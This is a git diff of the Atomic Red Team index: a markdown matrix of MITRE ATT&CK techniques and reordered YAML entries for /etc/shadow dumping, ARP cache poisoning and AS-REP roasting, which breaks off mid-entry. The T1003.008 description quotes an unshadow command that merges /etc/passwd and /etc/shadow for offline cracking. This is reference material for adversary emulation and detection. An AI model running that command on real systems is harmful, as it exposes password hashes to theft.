+|  |  | Domain Controller Authentication [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Event Triggered Execution [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Domain Accounts [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | [NTDS](../../T1003.003/T1003.003.md) | System Location Discovery [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) |  | [Screen Capture](../../T1113/T1113.md) |  | Non-Standard Encoding [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) |  |
+|  |  | Event Triggered Execution [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Executable Installer File Permissions Weakness [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Domain Controller Authentication [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | [Network Sniffing](../../T1040/T1040.md) | [System Network Configuration Discovery](../../T1016/T1016.md) |  | Sharepoint [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) |  | [Non-Standard Port](../../T1571/T1571.md) |  |
+|  |  | Exchange Email Delegate Permissions [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Exploitation for Privilege Escalation [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Domain Policy Modification [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | [OS Credential Dumping](../../T1003/T1003.md) | [System Network Connections Discovery](../../T1049/T1049.md) |  | [Video Capture](../../T1125/T1125.md) |  | One-Way Communication [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) |  |
+|  |  | Executable Installer File Permissions Weakness [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Extra Window Memory Injection [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Domain Trust Modification [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | [Password Cracking](../../T1110.002/T1110.002.md) | [System Owner/User Discovery](../../T1033/T1033.md) |  | Web Portal Capture [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) |  | Port Knocking [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) |  |
+|  |  | [External Remote Services](../../T1133/T1133.md) | Group Policy Modification [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Double File Extension [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | [Password Filter DLL](../../T1556.002/T1556.002.md) | [System Service Discovery](../../T1007/T1007.md) |  |  |  | Protocol Impersonation [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) |  |
+|  |  | Hijack Execution Flow [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Hijack Execution Flow [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Downgrade Attack [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | [Password Guessing](../../T1110.001/T1110.001.md) | [System Time Discovery](../../T1124/T1124.md) |  |  |  | [Protocol Tunneling](../../T1572/T1572.md) |  |
+|  |  | Hypervisor [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | [Image File Execution Options Injection](../../T1546.012/T1546.012.md) | [Dynamic-link Library Injection](../../T1055.001/T1055.001.md) | Password Managers [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Time Based Evasion [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) |  |  |  | Proxy [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) |  |
+|  |  | IIS Components [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | LSASS Driver [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Email Hiding Rules [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | [Password Spraying](../../T1110.003/T1110.003.md) | User Activity Based Checks [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) |  |  |  | [Remote Access Software](../../T1219/T1219.md) |  |
+|  |  | [Image File Execution Options Injection](../../T1546.012/T1546.012.md) | [Local Accounts](../../T1078.003/T1078.003.md) | Environmental Keying [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | [Private Keys](../../T1552.004/T1552.004.md) | Virtualization/Sandbox Evasion [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) |  |  |  | [Standard Encoding](../../T1132.001/T1132.001.md) |  |
+|  |  | LSASS Driver [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | [Logon Script (Windows)](../../T1037.001/T1037.001.md) | Executable Installer File Permissions Weakness [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | SAML Tokens [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) |  |  |  |  | Steganography [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) |  |
+|  |  | [Local Account](../../T1136.001/T1136.001.md) | Make and Impersonate Token [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Execution Guardrails [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | [Security Account Manager](../../T1003.002/T1003.002.md) |  |  |  |  | Symmetric Cryptography [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) |  |
+|  |  | [Local Accounts](../../T1078.003/T1078.003.md) | [Netsh Helper DLL](../../T1546.007/T1546.007.md) | Exploitation for Defense Evasion [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Silver Ticket [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) |  |  |  |  | Traffic Signaling [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) |  |
+|  |  | [Logon Script (Windows)](../../T1037.001/T1037.001.md) | Network Logon Script [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Extra Window Memory Injection [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Steal Web Session Cookie [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) |  |  |  |  | [Web Protocols](../../T1071.001/T1071.001.md) |  |
+|  |  | Modify Authentication Process [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | [Parent PID Spoofing](../../T1134.004/T1134.004.md) | [File Deletion](../../T1070.004/T1070.004.md) | Steal or Forge Kerberos Tickets [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) |  |  |  |  | Web Service [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) |  |
+|  |  | [Netsh Helper DLL](../../T1546.007/T1546.007.md) | Path Interception [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | File and Directory Permissions Modification [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Two-Factor Authentication Interception [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) |  |  |  |  |  |  |
+|  |  | Network Logon Script [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Path Interception by PATH Environment Variable [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Group Policy Modification [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Unsecured Credentials [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) |  |  |  |  |  |  |
+|  |  | [Office Application Startup](../../T1137/T1137.md) | Path Interception by Search Order Hijacking [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | HTML Smuggling [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Web Cookies [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) |  |  |  |  |  |  |
+|  |  | Office Template Macros [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | [Path Interception by Unquoted Path](../../T1574.009/T1574.009.md) | Hidden File System [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Web Portal Capture [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) |  |  |  |  |  |  |
+|  |  | [Office Test](../../T1137.002/T1137.002.md) | [Port Monitors](../../T1547.010/T1547.010.md) | [Hidden Files and Directories](../../T1564.001/T1564.001.md) | Windows Credential Manager [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) |  |  |  |  |  |  |
+|  |  | Outlook Forms [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Portable Executable Injection [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Hidden Users [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) |  |  |  |  |  |  |  |
+|  |  | [Outlook Home Page](../../T1137.004/T1137.004.md) | [PowerShell Profile](../../T1546.013/T1546.013.md) | [Hidden Window](../../T1564.003/T1564.003.md) |  |  |  |  |  |  |  |
+|  |  | Outlook Rules [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Print Processors [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | [Hide Artifacts](../../T1564/T1564.md) |  |  |  |  |  |  |  |
+|  |  | [Password Filter DLL](../../T1556.002/T1556.002.md) | Process Doppelgänging [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Hijack Execution Flow [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) |  |  |  |  |  |  |  |
+|  |  | Path Interception [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | [Process Hollowing](../../T1055.012/T1055.012.md) | Impair Command History Logging [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) |  |  |  |  |  |  |  |
+|  |  | Path Interception by PATH Environment Variable [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | [Process Injection](../../T1055/T1055.md) | Impair Defenses [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) |  |  |  |  |  |  |  |
+|  |  | Path Interception by Search Order Hijacking [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | [Registry Run Keys / Startup Folder](../../T1547.001/T1547.001.md) | Indicator Blocking [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) |  |  |  |  |  |  |  |
+|  |  | [Path Interception by Unquoted Path](../../T1574.009/T1574.009.md) | SID-History Injection [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Indicator Removal from Tools [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) |  |  |  |  |  |  |  |
+|  |  | Port Knocking [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | [Scheduled Task](../../T1053.005/T1053.005.md) | [Indicator Removal on Host](../../T1070/T1070.md) |  |  |  |  |  |  |  |
+|  |  | [Port Monitors](../../T1547.010/T1547.010.md) | Scheduled Task/Job [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | [Indirect Command Execution](../../T1202/T1202.md) |  |  |  |  |  |  |  |
+|  |  | [PowerShell Profile](../../T1546.013/T1546.013.md) | [Screensaver](../../T1546.002/T1546.002.md) | [Install Root Certificate](../../T1553.004/T1553.004.md) |  |  |  |  |  |  |  |
+|  |  | Pre-OS Boot [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | [Security Support Provider](../../T1547.005/T1547.005.md) | [InstallUtil](../../T1218.004/T1218.004.md) |  |  |  |  |  |  |  |
+|  |  | Print Processors [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Services File Permissions Weakness [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Invalid Code Signature [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) |  |  |  |  |  |  |  |
+|  |  | Redundant Access [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | [Services Registry Permissions Weakness](../../T1574.011/T1574.011.md) | [Local Accounts](../../T1078.003/T1078.003.md) |  |  |  |  |  |  |  |
+|  |  | [Registry Run Keys / Startup Folder](../../T1547.001/T1547.001.md) | [Shortcut Modification](../../T1547.009/T1547.009.md) | MMC [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) |  |  |  |  |  |  |  |
+|  |  | SQL Stored Procedures [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Thread Execution Hijacking [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | [MSBuild](../../T1127.001/T1127.001.md) |  |  |  |  |  |  |  |
+|  |  | [Scheduled Task](../../T1053.005/T1053.005.md) | Thread Local Storage [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Make and Impersonate Token [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) |  |  |  |  |  |  |  |
+|  |  | Scheduled Task/Job [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Time Providers [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | [Mark-of-the-Web Bypass](../../T1553.005/T1553.005.md) |  |  |  |  |  |  |  |
+|  |  | [Screensaver](../../T1546.002/T1546.002.md) | [Token Impersonation/Theft](../../T1134.001/T1134.001.md) | [Masquerade Task or Service](../../T1036.004/T1036.004.md) |  |  |  |  |  |  |  |
+|  |  | [Security Support Provider](../../T1547.005/T1547.005.md) | Valid Accounts [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | [Masquerading](../../T1036/T1036.md) |  |  |  |  |  |  |  |
+|  |  | Server Software Component [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | [Windows Management Instrumentation Event Subscription](../../T1546.003/T1546.003.md) | [Match Legitimate Name or Location](../../T1036.005/T1036.005.md) |  |  |  |  |  |  |  |
+|  |  | Services File Permissions Weakness [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | [Windows Service](../../T1543.003/T1543.003.md) | Mavinject [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) |  |  |  |  |  |  |  |
+|  |  | [Services Registry Permissions Weakness](../../T1574.011/T1574.011.md) | [Winlogon Helper DLL](../../T1547.004/T1547.004.md) | Modify Authentication Process [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) |  |  |  |  |  |  |  |
+|  |  | [Shortcut Modification](../../T1547.009/T1547.009.md) |  | [Modify Registry](../../T1112/T1112.md) |  |  |  |  |  |  |  |
+|  |  | System Firmware [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) |  | [Mshta](../../T1218.005/T1218.005.md) |  |  |  |  |  |  |  |
+|  |  | Time Providers [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) |  | [Msiexec](../../T1218.007/T1218.007.md) |  |  |  |  |  |  |  |
+|  |  | Traffic Signaling [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) |  | [NTFS File Attributes](../../T1564.004/T1564.004.md) |  |  |  |  |  |  |  |
+|  |  | [Transport Agent](../../T1505.002/T1505.002.md) |  | [Network Share Connection Removal](../../T1070.005/T1070.005.md) |  |  |  |  |  |  |  |
+|  |  | Valid Accounts [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) |  | [Obfuscated Files or Information](../../T1027/T1027.md) |  |  |  |  |  |  |  |
+|  |  | [Web Shell](../../T1505.003/T1505.003.md) |  | [Odbcconf](../../T1218.008/T1218.008.md) |  |  |  |  |  |  |  |
+|  |  | [Windows Management Instrumentation Event Subscription](../../T1546.003/T1546.003.md) |  | [Parent PID Spoofing](../../T1134.004/T1134.004.md) |  |  |  |  |  |  |  |
+|  |  | [Windows Service](../../T1543.003/T1543.003.md) |  | [Pass the Hash](../../T1550.002/T1550.002.md) |  |  |  |  |  |  |  |
+|  |  | [Winlogon Helper DLL](../../T1547.004/T1547.004.md) |  | [Pass the Ticket](../../T1550.003/T1550.003.md) |  |  |  |  |  |  |  |
+|  |  |  |  | [Password Filter DLL](../../T1556.002/T1556.002.md) |  |  |  |  |  |  |  |
+|  |  |  |  | Path Interception by PATH Environment Variable [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) |  |  |  |  |  |  |  |
+|  |  |  |  | Path Interception by Search Order Hijacking [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) |  |  |  |  |  |  |  |
+|  |  |  |  | [Path Interception by Unquoted Path](../../T1574.009/T1574.009.md) |  |  |  |  |  |  |  |
+|  |  |  |  | Port Knocking [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) |  |  |  |  |  |  |  |
+|  |  |  |  | Portable Executable Injection [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) |  |  |  |  |  |  |  |
 |  |  |  |  | Pre-OS Boot [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) |  |  |  |  |  |  |  |
 |  |  |  |  | Process Doppelgänging [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) |  |  |  |  |  |  |  |
 |  |  |  |  | [Process Hollowing](../../T1055.012/T1055.012.md) |  |  |  |  |  |  |  |
 |  |  |  |  | [Process Injection](../../T1055/T1055.md) |  |  |  |  |  |  |  |
 |  |  |  |  | [PubPrn](../../T1216.001/T1216.001.md) |  |  |  |  |  |  |  |
 |  |  |  |  | Redundant Access [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) |  |  |  |  |  |  |  |
+|  |  |  |  | Reflective Code Loading [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) |  |  |  |  |  |  |  |
 |  |  |  |  | [Regsvcs/Regasm](../../T1218.009/T1218.009.md) |  |  |  |  |  |  |  |
 |  |  |  |  | [Regsvr32](../../T1218.010/T1218.010.md) |  |  |  |  |  |  |  |
 |  |  |  |  | [Rename System Utilities](../../T1036.003/T1036.003.md) |  |  |  |  |  |  |  |
@@ -94,6 +102,7 @@
 |  |  |  |  | [Rundll32](../../T1218.011/T1218.011.md) |  |  |  |  |  |  |  |
 |  |  |  |  | SID-History Injection [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) |  |  |  |  |  |  |  |
 |  |  |  |  | SIP and Trust Provider Hijacking [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) |  |  |  |  |  |  |  |
+|  |  |  |  | Safe Mode Boot [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) |  |  |  |  |  |  |  |
 |  |  |  |  | Scripting [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) |  |  |  |  |  |  |  |
 |  |  |  |  | Services File Permissions Weakness [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) |  |  |  |  |  |  |  |
 |  |  |  |  | [Services Registry Permissions Weakness](../../T1574.011/T1574.011.md) |  |  |  |  |  |  |  |
diff --git a/atomics/Indexes/index.yaml b/atomics/Indexes/index.yaml
index 8a1c3307..76d81eac 100644
--- a/atomics/Indexes/index.yaml
+++ b/atomics/Indexes/index.yaml
@@ -2,47 +2,47 @@
 credential-access:
   T1003.008:
     technique:
-      created: '2020-02-11T18:46:56.263Z'
-      modified: '2020-03-20T15:56:55.022Z'
-      kill_chain_phases:
-      - kill_chain_name: mitre-attack
-        phase_name: credential-access
       type: attack-pattern
+      modified: '2020-03-20T15:56:55.022Z'
+      name: "/etc/passwd and /etc/shadow"
+      x_mitre_data_sources:
+      - 'Command: Command Execution'
+      - 'File: File Access'
+      x_mitre_version: '1.0'
+      created: '2020-02-11T18:46:56.263Z'
+      x_mitre_permissions_required:
+      - root
+      x_mitre_platforms:
+      - Linux
+      x_mitre_is_subtechnique: true
       id: attack-pattern--d0b4fcdb-d67d-4ed2-99ce-788b12f8c0f4
       description: |
         Adversaries may attempt to dump the contents of <code>/etc/passwd</code> and <code>/etc/shadow</code> to enable offline password cracking. Most modern Linux operating systems use a combination of <code>/etc/passwd</code> and <code>/etc/shadow</code> to store user account information including password hashes in <code>/etc/shadow</code>. By default, <code>/etc/shadow</code> is only readable by the root user.(Citation: Linux Password and Shadow File Formats)
 
         The Linux utility, unshadow, can be used to combine the two files in a format suited for password cracking utilities such as John the Ripper:(Citation: nixCraft - John the Ripper) <code># /usr/bin/unshadow /etc/passwd /etc/shadow > /tmp/crack.password.db</code>
-      name: "/etc/passwd and /etc/shadow"
-      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
       object_marking_refs:
       - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
-      external_references:
-      - url: https://attack.mitre.org/techniques/T1003/008
-        external_id: T1003.008
-        source_name: mitre-attack
-      - description: The Linux Documentation Project. (n.d.). Linux Password and Shadow
-          File Formats. Retrieved February 19, 2020.
-        url: https://www.tldp.org/LDP/lame/LAME/linux-admin-made-easy/shadow-file-formats.html
-        source_name: Linux Password and Shadow File Formats
-      - description: 'Vivek Gite. (2014, September 17). Linux Password Cracking: Explain
-          unshadow and john Commands (John the Ripper Tool). Retrieved February 19,
-          2020.'
-        url: https://www.cyberciti.biz/faq/unix-linux-password-cracking-john-the-ripper/
-        source_name: nixCraft - John the Ripper
-      x_mitre_platforms:
-      - Linux
-      x_mitre_is_subtechnique: true
-      x_mitre_version: '1.0'
-      x_mitre_permissions_required:
-      - root
+      kill_chain_phases:
+      - kill_chain_name: mitre-attack
+        phase_name: credential-access
       x_mitre_detection: The AuditD monitoring tool, which ships stock in many Linux
         distributions, can be used to watch for hostile processes attempting to access
         <code>/etc/passwd</code> and <code>/etc/shadow</code>, alerting on the pid,
         process name, and arguments of such programs.
-      x_mitre_data_sources:
-      - 'Command: Command Execution'
-      - 'File: File Access'
+      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      external_references:
+      - source_name: mitre-attack
+        external_id: T1003.008
+        url: https://attack.mitre.org/techniques/T1003/008
+      - source_name: Linux Password and Shadow File Formats
+        description: The Linux Documentation Project. (n.d.). Linux Password and Shadow
+          File Formats. Retrieved February 19, 2020.
+        url: https://www.tldp.org/LDP/lame/LAME/linux-admin-made-easy/shadow-file-formats.html
+      - source_name: nixCraft - John the Ripper
+        description: 'Vivek Gite. (2014, September 17). Linux Password Cracking: Explain
+          unshadow and john Commands (John the Ripper Tool). Retrieved February 19,
+          2020.'
+        url: https://www.cyberciti.biz/faq/unix-linux-password-cracking-john-the-ripper/
       identifier: T1003.008
     atomic_tests:
     - name: Access /etc/shadow (Local)
@@ -127,26 +127,29 @@ credential-access:
         elevation_required: true
   T1557.002:
     technique:
-      external_references:
-      - source_name: mitre-attack
-        external_id: T1557.002
-        url: https://attack.mitre.org/techniques/T1557/002
-      - source_name: RFC826 ARP
-        url: https://tools.ietf.org/html/rfc826
-        description: Plummer, D. (1982, November). An Ethernet Address Resolution
-          Protocol. Retrieved October 15, 2020.
-      - source_name: Sans ARP Spoofing Aug 2003
-        url: https://pen-testing.sans.org/resources/papers/gcih/real-world-arp-spoofing-105411
-        description: Siles, R. (2003, August). Real World ARP Spoofing. Retrieved
-          October 15, 2020.
-      - source_name: Cylance Cleaver
-        description: Cylance. (2014, December). Operation Cleaver. Retrieved September
-          14, 2017.
-        url: https://web.archive.org/web/20200302085133/https://www.cylance.com/content/dam/cylance/pages/operation-cleaver/Cylance_Operation_Cleaver_Report.pdf
       object_marking_refs:
       - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
-      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      type: attack-pattern
       name: ARP Cache Poisoning
+      x_mitre_data_sources:
+      - 'Network Traffic: Network Traffic Content'
+      - 'Network Traffic: Network Traffic Flow'
+      x_mitre_version: '1.1'
+      modified: '2021-07-28T01:04:39.141Z'
+      created: '2020-10-15T12:05:58.755Z'
+      kill_chain_phases:
+      - kill_chain_name: mitre-attack
+        phase_name: credential-access
+      - kill_chain_name: mitre-attack
+        phase_name: collection
+      id: attack-pattern--cabe189c-a0e3-4965-a473-dcff00f17213
+      x_mitre_platforms:
+      - Linux
+      - Windows
+      - macOS
+      x_mitre_is_subtechnique: true
+      x_mitre_permissions_required:
+      - User
       description: |
         Adversaries may poison Address Resolution Protocol (ARP) caches to position themselves between the communication of two or more networked devices. This activity may be used to enable follow-on behaviors such as [Network Sniffing](https://attack.mitre.org/techniques/T1040) or [Transmitted Data Manipulation](https://attack.mitre.org/techniques/T1565/002).
 
@@ -156,74 +159,86 @@ credential-access:
 
         The ARP protocol is stateless and does not require authentication. Therefore, devices may wrongly add or update the MAC address of the IP address in their ARP cache.(Citation: Sans ARP Spoofing Aug 2003)(Citation: Cylance Cleaver)
 
-        Adversaries may use ARP cache poisoning as a means to man-in-the-middle (MiTM) network traffic. This activity may be used to collect and/or relay data such as credentials, especially those sent over an insecure, unencrypted protocol.(Citation: Sans ARP Spoofing Aug 2003)
-      id: attack-pattern--cabe189c-a0e3-4965-a473-dcff00f17213
-      type: attack-pattern
-      kill_chain_phases:
-      - kill_chain_name: mitre-attack
-        phase_name: credential-access
-      - kill_chain_name: mitre-attack
-        phase_name: collection
-      modified: '2021-04-21T16:41:35.256Z'
-      created: '2020-10-15T12:05:58.755Z'
-      x_mitre_version: '1.0'
-      x_mitre_is_subtechnique: true
-      x_mitre_permissions_required:
-      - User
+        Adversaries may use ARP cache poisoning as a means to intercept network traffic. This activity may be used to collect and/or relay data such as credentials, especially those sent over an insecure, unencrypted protocol.(Citation: Sans ARP Spoofing Aug 2003)
+      x_mitre_contributors:
+      - Jon Sternstein, Stern Security
       x_mitre_detection: "Monitor network traffic for unusual ARP traffic, gratuitous
         ARP replies may be suspicious. \n\nConsider collecting changes to ARP caches
         across endpoints for signs of ARP poisoning. For example, if multiple IP addresses
         map to a single MAC address, this could be an indicator that the ARP cache
         has been poisoned."
-      x_mitre_data_sources:
-      - 'Network Traffic: Network Traffic Content'
-      - 'Network Traffic: Network Traffic Flow'
-      x_mitre_contributors:
-      - Jon Sternstein, Stern Security
-      x_mitre_platforms:
-      - Linux
-      - Windows
-      - macOS
+      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      external_references:
+      - url: https://attack.mitre.org/techniques/T1557/002
+        external_id: T1557.002
+        source_name: mitre-attack
+      - url: https://tools.ietf.org/html/rfc826
+        description: Plummer, D. (1982, November). An Ethernet Address Resolution
+          Protocol. Retrieved October 15, 2020.
+        source_name: RFC826 ARP
+      - url: https://pen-testing.sans.org/resources/papers/gcih/real-world-arp-spoofing-105411
+        description: Siles, R. (2003, August). Real World ARP Spoofing. Retrieved
+          October 15, 2020.
+        source_name: Sans ARP Spoofing Aug 2003
+      - url: https://web.archive.org/web/20200302085133/https://www.cylance.com/content/dam/cylance/pages/operation-cleaver/Cylance_Operation_Cleaver_Report.pdf
+        description: Cylance. (2014, December). Operation Cleaver. Retrieved September
+          14, 2017.
+        source_name: Cylance Cleaver
     atomic_tests: []
   T1558.004:
     technique:
+      object_marking_refs:
+      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
+      type: attack-pattern
+      name: AS-REP Roasting
       external_references:
-      - source_name: mitre-attack
+      - url: https://attack.mitre.org/techniques/T1558/004
         external_id: T1558.004
-        url: https://attack.mitre.org/techniques/T1558/004
-      - source_name: Harmj0y Roasting AS-REPs Jan 2017
-        url: http://www.harmj0y.net/blog/activedirectory/roasting-as-reps/
+        source_name: mitre-attack
+      - url: http://www.harmj0y.net/blog/activedirectory/roasting-as-reps/
         description: HarmJ0y. (2017, January 17). Roasting AS-REPs. Retrieved August
           24, 2020.
-      - source_name: Microsoft Kerberos Preauth 2014
